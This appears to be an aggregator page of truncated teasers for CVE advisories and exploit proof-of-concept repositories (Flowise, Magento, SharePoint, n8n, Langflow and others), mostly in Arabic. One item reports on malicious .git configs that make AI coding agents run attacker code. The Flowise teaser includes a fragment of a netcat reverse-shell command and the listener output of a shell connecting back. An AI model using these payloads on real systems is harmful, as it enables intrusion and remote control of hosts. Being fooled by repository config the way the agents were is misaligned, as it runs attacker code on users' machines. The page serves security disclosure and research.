kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle

A flaw was found in the Linux kernel's networking scheduler. A race condition, which is a problem that occurs when multiple operations try to access the same resource at the same time, exists when network filter operations are run concurrently. This can lead to a Use-After-Free UAF vulnerability,...

Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code

Manifold Security has disclosed eight security flaws across seven command-line AI coding agents in which a repository's own Git configuration names a command that the agent runs on the developer's machine, four of them still unpatched at publication. The command executes as the user, outside the...

kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle

A flaw was found in the Linux kernel's networking scheduler. A race condition, which is a problem that occurs when multiple operations try to access the same resource at the same time, exists when network filter operations are run concurrently. This can lead to a Use-After-Free UAF vulnerability,...

Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

= doi.org/10.5281/zenodo.18413764 = orcid.org/0009-0007-7728-256X root@kitploit: README.md CVE-2026-0628: تصعيد الامتيازات في Chromium WebView انتحال الأصل – بحث تقني وإثبات المفهوم المؤلف: Sastra Adi Wiguna Purple Elite Teaming تاريخ البحث: يناير 2026 معرف CVE: CVE-2026-0628 CVSS v3.1: 8.8 عالٍ...

CVE-2026-39987-Lab

CVE-2026-39987 — Laboratoire RCE WebSocket de terminal pré-authentification marimo Laboratoire Docker local uniquement pour reproduire et comprendre CVE-2026-39987 dans marimo. Ce projet compare un service marimo vulnérable avec un service marimo corrigé côte à côte, puis démontre la différence à...

WhatsRCE

WhatsRCE هذه أداة لتوليد الحمولة تلقائياً لثغرة CVE-2019-11932 تنفيذ الأكواد عن بُعد في واتساب 1. تثبيت GCC تلقائياً أمر غير ضار، يمكنك رؤية أن هذا المصدر مفتوح 2. الحفظ في ملف .GIF طريقة الاستخدام؟ root@kitploit: sudo apt install git git clone https://github.com/KeepWannabe/WhatsRCE cd WhatsRCE ...

CVE-2026-39387

CVE-2026-39387 — رفع ملف مُصادَق عليه في BoidCMS إلى تنفيذ أوامر عن بُعد RCE عبر حقن القالب الوصف تمكّن BoidCMS = 2.1.2 مهاجمًا مُصادَقًا من تحقيق تنفيذ أوامر عن بُعد RCE من خلال الجمع بين نقطتي ضعف: 1. رفع ملفات بدون قيود — تقبل نقطة نهاية رفع الوسائط ملفات بأنواع MIME خاصة بالصور مثل image/gif...

Magneto-PolyShell

استغلال RCE في Magento 2 - رفع ملف بدون مصادقة إلى RCE ⚠️ هذه الأداة مخصصة للاختبار الأمني التعليمي والمصرح به فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها غير قانوني. يستهدف هذا الاستغلال ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE غير المصادق عليها في Magento 2 Adobe Commerce. من خلال...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE إثبات المفهوم PoC للثغرة RCE الموثقة لإصدار Flowise &1|nc 10.10.15.200 443 /tmp/f' تحقق من المستمع ويجب أن يعمل: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned of...

PaperCut-Authentication_Bypass_and_RCE

CVE-2023-27350 — تجاوز المصادقة وتنفيذ الأوامر عن بعد في PaperCut NG/MF أداة استغلال مستقلة بلغة Python للثغرة الحرجة الخاصة بتجاوز المصادقة وتنفيذ الأوامر عن بعد في PaperCut NG/MF. درجة الخطورة CVSS 9.8. الوصف تؤثر CVE-2023-27350 على PaperCut NG وMF في الإصدارات السابقة للإصدارات 20.1.7 و21.2.11...

CVE-2026-63520

CVE-2026-63520 استغلال نوع غير آمن في SharePoint RCE + سلسلة CVE-2026-55040 استغلال RCE غير مصادق عليه على Microsoft SharePoint Server. لا حاجة لأي بيانات اعتماد. عرض Stephen Fewer Rapid7 ثغرة CVE-2026-55040 في Pwn2Own Berlin 2026. ثم اكتشفت Rapid7 ثغرة CVE-2026-63520 أثناء أبحاث المتابعة، ووجدت...

proftpd-CVE-2026-42167-analysis

CVE-2026-42167 — ثغرة SQL Injection / تجاوز المصادقة / تنفيذ الأوامر في ProFTPD modsql إعادة إنتاج مستقلة، وشرح تفصيلي للسبب الجذري على مستوى الكود، وتحليل صريح لمدى التعرض لثغرة CVE-2026-42167 — وهي تجاوز دالة isescapedtext في خط أنابيب تسجيل modsql في ProFTPD، والتي كشفت عنها ZeroPath Research...

CVE-2026-25253

CVE-2026-25253: استغلال تنفيذ التعليمات البرمجية عن بُعد بنقرة واحدة في OpenClaw عبر سرقة رمز المصادقة البرنامج المتأثر: OpenClaw clawbot إخلاء مسؤولية قانوني: هذا الكود والشرح مقدم لأغراض البحث الأمني المصرح به والتعليم فقط. استخدام هذا الاستغلال ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاق...

CVE-2026-21858

CVE-2026-21858 + CVE-2025-68613 - السلسلة الكاملة لـ n8n قراءة ملفات عشوائية بدون مصادقة → تزوير رمز المدير → تجاوز صندوق الحماية → RCE | ---|--- CVE| CVE-2026-21858 AFR + CVE-2025-68613 RCE CVSS| 10.0 + 9.9 حرجة الإصدارات المتأثرة| = 0.211.0 RCE الإصدار المُصحَّح| 1.121.0 AFR / 1.120.4+ RCE تاري...

CVE-2026-24423

CVE-2026-24423 root@kitploit: CVE-2026-24423 – إعادة الإنتاج ⚠️ لأغراض البحث الأمني والاختبار المصرح به فقط / For security research and authorized testing only نظرة عامة Overview يُستخدم هذا المشروع لإعادة إنتاج ثغرة CVE-2026-24423. توجد هذه الثغرة في وظيفة SmarterMail ConnectToHub، وسببها الجذري...

CVE-2021-41773

خادم Apache HTTP 2.4.49 - تجاوز المسار وتنفيذ الأوامر عن بُعد CVE-2021-41773 أداة إثبات مفهوم متطورة مبنية بلغة بايثون لاستغلال CVE-2021-41773. تقوم هذه الأداة بأتمتة عملية اختبار خوادم Apache 2.4.49 بحثًا عن ثغرات تجاوز المسار وتنفيذ الأوامر عن بُعد RCE. ⚠️ إخلاء مسؤولية قانوني هذه الأداة لأغراض...

EXPLOIT-CVE-2026-40901

DataEase — تنفيذ أوامر عن بُعد دون مصادقة عبر سلسلة من 4 ثغرات CVE-2026-40901 وأخواتها تجاوز المصادقة → تجاوز قائمة حظر JDBC قراءة ملفات عشوائية → حقن SQL → إلغاء تسلسل Java في Quartz → تنفيذ أوامر عن بُعد بصلاحياتroot. مختبر محلي متكامل Docker + PoC عملي. تم الإصلاح في DataEase v2.10.21. DataEas...

CVE-2026-9198_exploit

CVE-2026-9198 — تنفيذ كود عن بُعد دون مصادقة في Langflow OSS تنفيذ كود عن بُعد دون مصادقة في IBM Langflow OSS 1.0.0 – 1.10.0 عند النشر الافتراضي. يجمع بين ثغرتين: CVE-2026-9103 — يُصدر GET /api/v1/autologin رمز JWT بصلاحيات SUPERUSER لأي متصل دون بيانات اعتماد، وذلك كلما كان AUTOLOGIN مفعّلًا وهو...

CVE-2026-29955

ثغرة حقن الأوامر في KubePlus KubeconfigGenerator توجد هذه الثغرة في مكوّن kubeconfiggenerator الخاص بـ KubePlus، مما يسمح للمهاجمين الذين لديهم وصول إلى واجهة HTTP بحقن أوامر shell عبر معامل chartName، وتنفيذ كود عشوائي بصلاحيات root داخل الحاوية، وسرقة رموز ServiceAccount بصلاحيات cluster-admin...

kernel: Bluetooth: hci_event: fix potential UAF in SSP passkey handlers

A flaw was found in the Linux kernel's Bluetooth subsystem. This vulnerability, a Use-After-Free UAF, exists within the Secure Simple Pairing SSP passkey handlers. It occurs when hciconn lookup and field access are performed without proper locking, allowing a connection to be freed concurrently...